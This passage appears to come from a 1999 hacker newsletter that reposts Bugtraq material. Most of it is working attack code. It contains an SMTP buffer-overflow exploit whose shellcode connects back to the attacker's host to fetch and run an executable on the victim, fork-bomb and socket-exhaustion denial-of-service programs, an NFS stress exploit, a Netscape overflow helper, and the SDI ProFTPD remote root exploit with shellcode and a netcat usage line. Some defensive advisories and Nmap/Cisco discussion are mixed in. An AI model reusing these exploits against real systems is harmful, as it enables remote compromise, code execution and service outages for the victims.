0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x8B,0xC7,0x33,0xC9,0xB1,0x59,0x03,0xC1,0x50,0xFF,
0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x66,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0x53,0xFF,0xD0,0x90,0xE8,0x03,0xFE,0xFF,0xFF,0x6D,
0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x2C,0x77,0x73,0x6F,0x63,0x6B,0x33,
0x32,0x2E,0x64,0x6C,0x6C,0x2C,0x57,0x53,0x41,0x53,0x74,0x61,0x72,0x74,0x75,0x70,
0x2C,0x73,0x6F,0x63,0x6B,0x65,0x74,0x2C,0x63,0x6F,0x6E,0x6E,0x65,0x63,0x74,0x2C,
0x72,0x65,0x63,0x76,0x2C,0x63,0x6C,0x6F,0x73,0x65,0x73,0x6F,0x63,0x6B,0x65,0x74,
0x2C,0x66,0x6F,0x70,0x65,0x6E,0x2C,0x66,0x77,0x72,0x69,0x74,0x65,0x2C,0x66,0x63,
0x6C,0x6F,0x73,0x65,0x2C,0x77,0x62,0x2C,0x78,0x2E,0x65,0x78,0x65,0x2C,0x73,0x79,
0x73,0x74,0x65,0x6D,0x2C,0x65,0x78,0x69,0x74,0x2C,0x2C,0x2C,0x2C,0x00
};
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
int sockfd,i;
unsigned int ip,port,yourip;
if (argc<3){
printf("usage\n %s VictimHostName YourHostName\n",argv[0]);
exit(1);
}
if ((yourip=inet_addr(argv[2]))==-1){
if ((hs=gethostbyname(argv[2]))==NULL){
printf("Can not resolve specified YourHost.\n");
exit(1);
}
memcpy((caddr_t)&yourip,hs->h_addr,hs->h_length);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(SMTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified VictimHost.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
printf("1:%s\n",packetbuf);
memset(buf,0x90,BUFSIZE);
for (i=267;i<271;i++) buf[i]=0x30;
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR] =JMPS;
buf[JMPADR+1]=JMPOFS;
port=7000;
exploit_code[0xc3]=(port>>8) & 0xff;
exploit_code[0xc4]=port & 0xff;
ip=htonl(yourip);
exploit_code[0xc8]=(ip>>24) & 0xff;
exploit_code[0xc9]=(ip>>16) & 0xff;
exploit_code[0xca]=(ip>>8) & 0xff;
exploit_code[0xcb]=ip & 0xff;
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;
sprintf(packetbuf,"helo penguin\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
printf("%s\n",packetbuf);
sprintf(packetbuf,"MAIL FROM: %s\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
close(sockfd);
}
Prog.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT_NUM 7000
#define BUFSIZE 1000
#define SENDFILE "test.exe"
int get_connection(port, listener)
int port;
int *listener;
{
struct sockaddr_in address,acc;
int listening_socket,connected_socket;
int reuse_addr=1,acclen=sizeof(acc);
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, SOCK_STREAM, 0);
if (listening_socket < 0) {
perror("socket"); exit(1);
}
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
(void *)&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,
sizeof(address))<0){
perror("bind"); exit(1);
}
listen(listening_socket, 5);
connected_socket=accept(listening_socket,
(struct sockaddr *)&acc,&acclen);
return connected_socket;
}
int main(argc, argv)
int argc;
char *argv[];
{
int sock,listensock,i,r,l;
char buf[BUFSIZE];
struct stat st;
FILE *fp;
if ((fp=fopen(SENDFILE,"rb"))==NULL){
printf("File not found \"%s\"\n",SENDFILE);
exit(1);
}
stat(SENDFILE,&st);
r=st.st_size/BUFSIZE+1;
sock = get_connection(PORT_NUM, &listensock);
for (i=0;;i++){
l=fread(buf,1,BUFSIZE,fp);
if (l<=0) break;
write(sock,buf,l);
}
fclose(fp);
close(sock);
}
<< Demonstration >>
Victim host : 192.168.200.200
Your host : 192.168.100.100
(1) copy your testprogram "test.exe" to UNIX machine.
(2) gcc ex_pms1.c -o pms1
(3) gcc sendexp.c -o sendexp
(4) ./sendexp &
(5) ./pms1 192.168.200.200 192.168.100.100
You can send "test.exe" to victim host, and can execute it remotely.
The size of "test.exe" is not limited.
-----
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Webmaster / UNYUN (shadowpenguin@backsection.net)
@HWA
58.0 NetBSD 1.4.1 local DoS
~~~~~~~~~~~~~~~~~~~~~~
Subject: Re: NetBSD 1.4.1 local DoS
To: BUGTRAQ@SECURITYFOCUS.COM
This does not `freeze' the system per se. What it does is tie up all
the network resources, and make it impossible to any network I/O (even
through Un*x-domain sockets).
Linux is not generally vulnerable to the exploit as posted, because it
seems to only accept 64512 bytes from the write(2)s, and limit the
file descriptor table to 256 entries (at least by default), thus
making the program chew up less memory. However, a trivial variant
(attached below) causes memory exhaustion on the Linux system I
tested. Interestingly, this did not cause the Linux system to crash,
but it does cause a bunch of processes to be killed -- gpm, klogd,
update, crond, and finally the test program itself. So there is still
a denial of service, especially if the program is modified to
continually fork as well (also attached below, although it could be
done a bit better).
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define NPROCS 20
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
for (i = 0; i < NPROCS - 1; i++) {
if (fork())
break;
}
sleep(5);
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
pause();
return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
fork();
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
pause();
return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
@HWA
59.0 Netscape communicator 4.06J, 4.5J-4.6J, 4.61e Buffer Overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Re: Netscape communicator 4.06J, 4.5J-4.6J, 4.61e Buffer Overflow
To: BUGTRAQ@SECURITYFOCUS.COM
Hello
David Parker$B!!(Bwrites:
> I tried the 4 exploit test links, and they all crashed Netscape but
> didn't cause any bluescreens or run any programs. I have win98,
> Netscape 4.5 128-bit, and the same msvcrt.dll (6.00.8397). I'm not
> sure how to debug the crashes, so I'm including the illegal operation
> errors, hopefully they will be of some help:
We could confirm that the exploit codes which were published at the demo
site were executed. We think that the reason you can not confirm the
executed the exploit codes is based on the difference of the Windows
kernel code. The exploit code which is posted by R00tZer0 is for
Japanese Windows98, this exploit uses the codes which is written in
0xbff7a06b. In case Japanese Windows98, JMP EBX(FFH,E3H) code is written
in such address. If you remake the exploit code that can exploit the
specified netscape communicators, you have to change the address which
is specified in the exploit code. We don't have the environment of the
English Windows, we could not code for English Windows. Maybe, you will
be able to get the address of JMP EBX code by the following program. So,
if someone succeeded or could get the address which is written the JMP
EBX code, please tell us the address of JMP EBX code.
#include <windows.h>
#include <stdio.h>
unsigned int mems[]={
0xbfb70000,0xbfbfc000,
0xbfde0000,0xbfde6000,
0xbfdf0000,0xbfdf5000,
0xbfe00000,0xbfe10000,
0xbfe30000,0xbfe43000,
0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,
0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,
0xbff20000,0xbff47000,
0xbff50000,0xbff61000,
0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,
0,0};
void search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
fprintf(fp,"Result : %x - %x\n",(unsigned int)st,(unsigned int)ed);
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2)
fprintf(fp,"%x : %x %x %x %x\n",p,*p&255,*(p+1)&255,*(p+2)&255,*(p+3)&255);
}
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPTSTR lpCmdLine, int nCmdShow)
{
FILE *fp;
int i;
if ((fp=fopen("adr.txt","w"))!=NULL){
for (i=0;;i+=2){
if (mems[i]==0) break;
search_mem(fp,(unsigned char *)mems[i],(unsigned char *)mems[i+1],0xff,0xe3);
}
fclose(fp);
}
return 0;
}
Kerb$B!!(Bwrites:
> When I went there with NC 4.05, it gave me a blue screen of death that was
> completely unrecoverable. I had to reboot the system.
> So, basically, it is a DoS for Netscape users, could possibly be coded
> into a CGI or Javascript that checks browser
> version and writes the corresponding exploit code. Just a thought.
The CGIs which are published at the demo site are not for DoS attack. Of
course, we could develop the codes for the DoS attack. We also could
develop the HDD format code, virus code, trojan code, and so on. If the
trojan code is written in the exploit code, the all visitors' PC will
be cracked, and if the hdd format code is written, the visitors' HDD
will be cleaned completely. It's very serious problem. In this case, the
stack area that can be used for exploit code is wide enough.
I will post the demo programs which can send the trojan by using the
security hole on other applications.
-----
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Webmaster / UNYUN (shadowpenguin@backsection.net)
@HWA
60.0 FreeBSD NFS Exploit
~~~~~~~~~~~~~~~~~~~
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <sys/time.h>
#include <time.h>
void usr1() {
}
int main(int argc, char ** argv) {
int nbfils;
int nbopen;
int tbloc;
int tfichier;
char filename[512];
int i, j, k, f;
int pid;
struct timeval start;
struct timeval end;
float delay;
void * bloc;
if (argc<6) {
fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open sizefile(Kb) blocksize(kb).\n", argv[0]);
fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
exit(EXIT_FAILURE);
}
nbfils = atoi(argv[2]);
nbopen = atoi(argv[3]);
tfichier = atoi(argv[4]);
tbloc = atoi(argv[5]);
bloc = malloc(tbloc * 1024);
memset(bloc, 0, tbloc * 1024);
if (!bloc) {
fprintf(stderr, "%s: ", argv[0]);
perror("malloc");
exit(-1);
}
fprintf(stderr, "forking %d times...\n", nbfils);
signal(SIGUSR1, &usr1);
j = 0;
for(i=0;i<nbfils;i++) {
pid = fork();
if (pid<0) {
perror("fork");
break;
} else
j++;
if (!pid) break;
}
if (!pid) {
pause();
pid = getpid();
srand(pid*10);
fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
sprintf(filename, "%s%d", argv[1], pid);
for(i=0;i<nbopen;i++) {
f = open(filename, O_CREAT|O_RDWR, 0666);
if (f<0) {
fprintf(stderr, "[%d] file %s ", pid, filename);
perror("open");
break;
}
k = (rand() % (tfichier * 1024));
j = lseek(f, k, SEEK_SET);
if (j!=k) {
fprintf(stderr, "[%d] ", pid);
perror("lseek");
break;
}
// read(f, bloc, tbloc*1024);
if (write(f, bloc, tbloc*1024)!=tbloc*1024) {
fprintf(stderr, "[%d] ", pid);
perror("write");
break;
}
sync();
if (close(f)) {
fprintf(stderr, "[%d] ", pid);
perror("close");
break;
}
}
exit(0);
}
sleep(2);
gettimeofday(&start, NULL);
kill(0, SIGUSR1);
i = 0;
while (i<nbfils)
if (waitpid(-1, NULL, 0)>0)
i++;
fprintf(stderr, "they're all dead now, exiting.\nYour system is not vulnerable\n");
gettimeofday(&end, NULL);
delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec - start.tv_usec))
/ (float) 1000000;
i = nbopen * tbloc * nbfils;
exit(0);
}
@HWA
61.0 Using Nmap for RPC vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Re: CERT Summary CS-99-03
To: BUGTRAQ@SECURITYFOCUS.COM
>From the CERT Summary released yesterday:
> 1. RPC Vulnerabilities
> We have received many reports of exploitations involving three RPC
> vulnerabilties. Such exploitations can lead to root compromise on
> systems that implement these RPC services.
> 3. Continued Widespread Scans
> We are still receiving daily reports of intruders using tools to
> scan networks for multiple vulnerabilities. Intruder scanning
> tools continue to become more sophisticated,
Unfortunately, it is often difficult for admins to scan their networks for
vulnerable RPC services since you never know for sure what ports they
will be listening on. Thus I have released a version of Nmap that will
query open TCP and UDP ports to determine whether they are RPC as well as
their program name, number and version(s). This allows you to map all the
RPC services on a given network and then upgrade or eliminate the
exploitable ones. Of course you can obtain the same info from 'rpcinfo
-p', but portmapper is often unavailable due to firewalls or IP
restrictions (libwrap). Further, it can be painful to locate and
'rpcinfo' every host on a large network. And there are occasional cases
where a vulnerable service could be running but not registered. In
addition, rpcinfo won't give you the OS type, which is important in
determining whether a machine is vulnerable.
Nmap is available at http://www.insecure.org/nmap/ and compiles/runs
on most common UNIX platforms. The latest version also contains many more
OS fingerprints, speed optimizations, bug fixes, etc.
Here is a quick example of how to use the new RPC functionality
against a stock Solaris 7 box:
amy# ./nmap -sRUS -p 7,9,13,19,21,23,25,37,42,79,111,32760-32785 xanadu
Starting nmap V. 2.3BETA1 by Fyodor (fyodor@dhp.com,www.insecure.org/nmap/)
Interesting ports on xanadu.yuma.net (192.168.0.10):
Port State Protocol Service (RPC)
7 open udp echo (Non-RPC)
7 open tcp echo (Non-RPC)
9 open udp discard (Non-RPC)
9 open tcp discard (Non-RPC)
13 open udp daytime (Non-RPC)
13 open tcp daytime (Non-RPC)
19 open udp chargen (Non-RPC)
19 open tcp chargen (Non-RPC)
21 open tcp ftp (Non-RPC)
23 open tcp telnet (Non-RPC)
25 open tcp smtp (Non-RPC)
37 open udp time (Non-RPC)
37 open tcp time (Non-RPC)
42 open udp nameserver (Non-RPC)
79 open tcp finger (Non-RPC)
111 open udp sunrpc (portmapper V2-4)
111 open tcp sunrpc (portmapper V2-4)
32771 open udp (Non-RPC)
32771 open tcp (status V1)
32772 open udp (status V1)
32772 open tcp (Non-RPC)
32773 open udp (sadmind V10)
32773 open tcp (ttdbserverd V1)
32774 open udp (rquotad V1)
32774 open tcp (Non-RPC)
32775 open udp (rusersd V2-3)
32775 open tcp (cachefsd V1)
32776 open udp (sprayd V1)
32776 open tcp (Non-RPC)
32777 open udp (walld V1)
32777 open tcp (cmsd V2-5)
32778 open udp (rstatd V2-4)
32779 open udp (cmsd V2-5)
Nmap run completed -- 1 IP address (1 host up) scanned in 30 seconds
amy#
Cheers,
Fyodor
--
Fyodor 'finger pgp@pgp.insecure.org | pgp -fka'
"The percentage of users running Windows NT Workstation 4.0 whose PCs
stopped working more than once a month was less than half that of Windows
95 users."-- microsoft.com/ntworkstation/overview/Reliability/Highest.asp
@HWA
62.0 Clarification of the Nmap/Cisco DoS problem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: "Lancashire, Andrew" <LancashireA@sutterhealth.org>
This is to clarify what is being put out by Cisco and what we are being told
by Cisco.
Two e-mails below is what Cisco is telling us and makes alot more sense
than what Cisco is telling Bugtraq. The last post to Bugtraq made mention
that the arp cache was filling up and allocating memory for both reachable
hosts and unreachable hosts (incompletes). Although what Lisa describes is
true regarding the arp cache, it would not be true for our or most other
sane persons environment. Since routers will only arp for what is local,
that would mean that for the arp cache to fill up and us all the memory all
networks in the 10.x.x.x range would need to be local. So that's not gonna
happen but if you read the e-mail below that from Kenny (also at Cisco ) his
explanation makes allot more sense considering we have hundreds of routers.
Thank You
Andrew
P.S. Congratulations on the re-opening of PacketStorm
___________________________________
Subject: Re: Cisco and Nmap Dos
To: BUGTRAQ@SECURITYFOCUS.COM
Hi all,
I wanted to address the items listed here. We are still investigating this
problem, and hope to have more information later on in the week.
Item 1, OSPF is not an issue. According to the configuration information
provided to us by the customer, OSPF is not in use.
Items 2, 3 & 4. IOS actually handles ARP in the following manner:
When we receive a packet destined for something not already in our ARP
table, we enter an "incomplete" entry in the ARP table. Then we will rate
limit ARPs to once every 2 seconds to that destination. Any additional
packets to that same destination will be dropped until the ARP entry is
completed. This is on a per destination basis.
"Incompletes" (ARP requests that have not been responded to) get dropped
after approximately 1 minute from the last time we sent an ARP request for
that non existent address.
Incomplete entries MAY stay around longer, as the process that is
responsible for cleaning up the ARP table may not have enough time to
complete before it is called again, if we have a lot to clean up, which may
be relevant to this case. The incomplete entries will eventually get
cleaned up, but it may take two or three minutes, two or three cycles of the
process that cleans up the table.
Under a dedicated, intense nmap scan, a very large number of ARP requests
may be generated, causing the ARP table to grow very large with "incomplete"
entries. These entries consume memory. As the amount of free memory
declines and demand on the processor to handle outstanding packets
increases, ARP processing falls behind and throughput on the router may
decline significantly. Once the scan is stopped, processing catches up and
things return to normal.
So, to my knowledge IOS should be doing the right thing, we only queue one
ARP request at a time, every 2 seconds, until the ARP entry is resolved, we
rate limit requests, dropping all additional packets, until the ARP entry is
resolved, and we clean up the outstanding incomplete requests within a few
minutes.
I hope that helps address some of the concerns put forth. Hopefully we will
have further updates shortly.
Thank you,
Lisa Napier
Product Security Incident Response Team
Cisco Systems
___________
_______________
-----Original Message-----
From: khollis [SMTP:khollis@cisco.com]
Sent: Wednesday, September 15, 1999 11:31 AM
To: wescotd@sutterhealth.org
Subject: Regarding Case Number V44290
Hello Dave, I've done some testing here with Nmap. I was able to create a
test bed that can cause problems & symptoms similar to those you reported.
But in summary, the router is functioning normally & depending on the
network topology the behavior you experienced would be expected.
>From show processor memory, the ip input process is the process that
maintains the ip fast switching cache. This fast switching cache is used
when forwarding packets to avoid interrupting the cpu for repetitive route
table lookups. The key issue is the behavior of the fast cache and the way
it gets built.
There are a number of scenarios that will cause the fast cache to install an
entry that essentially looks like a host route. For instance, with only 1
path to a destination, we will install an entry into the fast cache that
covers the entire network. Example: 100.0.0.0/8. However, when multiple
equal cost paths to a destination exist, we will install an entry into the
fast cache for each destination. Example: 100.0.0.1/32, 100.1.1.1/32,
100.2.2.2/32...and so on. This helps ensure load balancing. Additionally,
depending on whether routes are directly connected, and/or subnetted, or the
next hop of a static route, the results can vary.
When running Nmap & scanning every address in a class A ip network, if
conditions warrant the installation of a /32 entry into the fast cache this
would allow the fast cache to consume a tremendous amount of memory and in
that scenario all available dram could be consumed. This creates additional
problems because there isn't enough memory to support other features on the
router.
Since Nmap isn't a normal application ran on networks, this issue isn't a
concern in most networking environments. However, if this is a major concern
you could run CEF (Cisco Express Forwarding). The behavior I just explained
does not occur when running CEF. But you will need to run 12.0 on the Cat5
RSM. Other workarounds such as disabling fast switching (no ip route-cache)
or using max-paths 1 aren't really feasible. CEF is the better solution.
Thanks,
KennyH.
_________________
@HWA
63.0 19 SCO 5.0.5+Skunware98 buffer overflows
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: 19 SCO 5.0.5+Skunware98 buffer overflows
To: BUGTRAQ@SECURITYFOCUS.COM
Greetings,
After some light security auditing ;) I've found approximately nineteen buffer overflows in various SCO 5.0.5+Skunkware98 programs. This was, by no means, a comprehensive audit of SCO's su/gids so I'm sure there are dozens of holes I've missed. Keep in mind also that this was ONLY command line buffer overflow testing and did not include environment, file i/o, or any other sort of overflow. And I didn't touch /tmp races. That said..
Some of these holes are old to the world of security, but apparently SCO hasn't caught up yet. For instance, anyone remember the old Xt library holes in xterm and such? Well, apparently SCO doesn't. Not to mention the fact that in June someone posted an xterm exploit (though the author didn't make clear that all programs using the Xt library were probably vulnerable) and SCO never came out with a fix. Thus this program as well as all others in the class are still vulnerable. Following is a list of vulnerable programs and their su/gid status:
Potential root:
SUID root
---
1. xload -bg $1492bytes
2. xterm -bg $1492bytes
3. xmcd -bg $1492bytes
SUID auth (Auth has rw access to /etc/shadow)
---
4. xlock -bg $1492bytes
5. xscreensaver -bg $1492bytes
6. scolock -bg $1492bytes
SUID mem (strings /dev/kmem)
--
7. sar -o $2105bytes or sar -f $1077bytes x
Potential lp:
SUID lp
--
8. cancel $998bytes (isn't this one old too?)
9. lp $10000bytes (didn't get the exact number)
10. reject $10000bytes (as above)
Potential bin:
SUID bin
---
11. sd $1017bytes (SIGSEGV @1017 SIGTERM 1 to 1017bytes)
Potential annoyance:
SUID dos
---
12. doscat $19031bytes
13. doscp "" x
14. dosdir ""
15. dosls ""
16. dosmkdir ""
17. dosrm ""
18. dosrmdir ""
SUID uucp
---
19. ati $40bytes
FIX:
For most of these programs, you're going to have to suffer with some broken functionality when you remove the s-bits. The various suid root and auth won't be able to function without their su/gid status. However you could make a new group such as xusers and have these programs only executable by its members. In fact adding trusted users to the lp group is probably the best way to overcome these lp vulnerabilities as well.
Hopefully this advisory will scare SCO into doing some security auditing on their own before their buggy product hits the market. In any case, be wary.
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
@HWA
64.0 SDI anonymous remote exploit for proftpd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: SDI anonymous remote exploit for proftpd
To: BUGTRAQ@SECURITYFOCUS.COM
Hello,
I've seen some discussion about the possibility of exploit the newest
proftpd vulnerability without having the permission to write (STOR). Here
is the proof. Unlikely the last published exploit, this one does not have
tricks like buggy NOP code or something (to avoid script kiddies).
/*
* SDI linux remote exploit for ProFTPDpre[1,2,3]
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org> - Sep/99 (tudo na paz!)
*
* Exploit for the ProFTPD log_xfer() buffer overflow -- it will spawn a
* shell owned by root.
*
* HOWTO: unlikely the other recent FTP vulnerability, this one doesn't
* need a writeable directory. You just got to have permission to
* download a file (like welcome.msg or README). Don't forget to install
* our favorite network tool -- NetCat.
*
* Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
* vader, fcon, slide, corb, Soft Distortion and specially to
* my sasazita! Also lots of thanks to toxyn.org,
* pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
* #uground (brasnet), #sdi(efnet), #(phibernet).
*
* usage: SDIpro -p <your ip> [-f <file>] [-a <align>] [-o <offset>]
* where <your ip> is your ip separated with commas (127,0,0,1)
* <file> is the remote file to download
* example: (./SDIpro -p 27,1,1,4 -a 2;cat) | nc www.victim.com 21
*
* Values: Redhat (alignment 2 - offset 0)
* Slack (alignment 0 - offset -300)
*
* Warning: We take no responsability for the consequences on using this
* tool. DO NOT USE FOR ILICIT ACTIVITIES!
*
* Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
* de seguranca - BOS-BR <bos-br-request@sekure.org>.
* http://www.securenet.com.br - novo portal de seguranca brasileiro.
*/
char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39"
"\xf3\x7c\x07\x80\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
"\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x31\xc9\xb0\x27"
"\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80"
"\x31\xc0\x88\x46\x03\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09"
"\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x95\xff\xff\xff\xff\xff"
"\xff\x43\x43\x30\x30\x31\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
#include <stdio.h>
#include <unistd.h>
#define TOTAL 940
int fork_port ( void);
int usage ( char *arg) {
printf ( "SDI remote ProFTPD exploit\n");
printf ( "usage: %s -p <local ip> -f <file > [-a <align>] [-o <offset>]\n", arg);
printf ( "where <local ip> is your ip separated with comma (e.g.200,30,1,20)\n");
printf ( " <file> is any remote file available to download (eg. welcome.msg)\n");
printf ( "\nvalues: RedHAT - alignment 2 / offset 0\n");
printf ( " Slack - alignment 0 / offset -300/-200\n");
exit ( 0);
}
main ( int argc, char *argv[] ) {
char buf[2000], port[200], file[150], *pasv=NULL, *ff;
int x, y=0, offset=0, align=0, c, damn=0;
long addr=0xbffff450;
while ((c = getopt(argc, argv, "a:o:p:f:h")) != -1)
switch (c) {
case 'a':
align = atoi ( optarg);
break;
case 'o':
offset = atoi ( optarg);
break;
case 'p':
pasv = optarg;
break;
case 'f':
ff = optarg;
break;
case 'h':
damn = 1;
break;
default:
damn = 1;
break;
}
if (damn==1) usage ( argv[0]);
if (pasv) snprintf ( port, sizeof(port), "%s,5,220", pasv);
else usage ( argv[0]);
if (ff) snprintf ( file, sizeof(file), "%s", ff);
else strcpy ( file, "welcome.msg");
if ( fork() == 0) fork_port();
addr += offset;
fprintf ( stderr, "\nALIGN %d (use alignment 2 for RedHAT)\n", align);
fprintf ( stderr, "OFFset %d\n", offset);
fprintf ( stderr, "RET 0x%x\n", addr);
fprintf ( stderr, "RETR %s\n\n", file);
for ( x = 0; x < ((TOTAL+align)-strlen(shellcode)); x++)
buf[x] = 0x90;
for ( ; y < strlen(shellcode); y++, x++)
buf[x] = shellcode[y];
for ( ; x < 1016; x+=5) {
buf[x ] = (addr & 0x000000ff);
buf[x+1] = (addr & 0x0000ff00) >> 8;
buf[x+2] = (addr & 0x00ff0000) >> 16;
buf[x+3] = (addr & 0x00ff0000) >> 16;
buf[x+4] = (addr & 0xff000000) >> 24;
}
printf( "USER ftp\n");
sleep(1);
printf ( "PASS %s\n", buf);
sleep(1);
printf ( "PORT %s\n", port);
sleep(1);
printf( "RETR %s\n", file);
sleep(1);
}
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
int fork_port ( void) {
struct sockaddr_in sa;
struct sockaddr_in ca;
int sd, cd, lx, len=0, n=0;
char outbuf[5000];
bzero ( &sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(1500);
sd = socket ( AF_INET, SOCK_STREAM, 0);
lx = bind ( sd, (struct sockaddr *) &sa, sizeof(sa));
if (lx<0) {
perror("bind"); exit(0);
}
lx = listen ( sd, 5);
if (lx<0) {
perror("listen"); exit(0);
}
// fprintf ( stderr, "waiting for the incoming file\n");
len = sizeof(ca);
cd = accept ( sd, (struct sockaddr *) &ca, &len);
if ( cd <= 0) { perror("accept"); return(0); }
while ( (n = read ( cd, outbuf, sizeof(outbuf))) > 0)
// fprintf ( stderr, "=> %s\n", outbuf); /*only for debugging*/
if ( n > 0) fprintf ( stderr, "file received\n");
close ( sd);
close ( cd);
sleep(1);
printf ( "uname -a; id;\n");
exit(0);
}
-------------------------
-condor
www.sekure.org
s e k u r e
pgp key available at: http://condor.sekure.org/condor.asc
@HWA
65.0 KKIS19990914.004b: ShareDream - shared memory - ipc vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: KKIS19990914.004b: ShareDream - shared memory - ipc vulnerability
To: BUGTRAQ@SECURITYFOCUS.COM
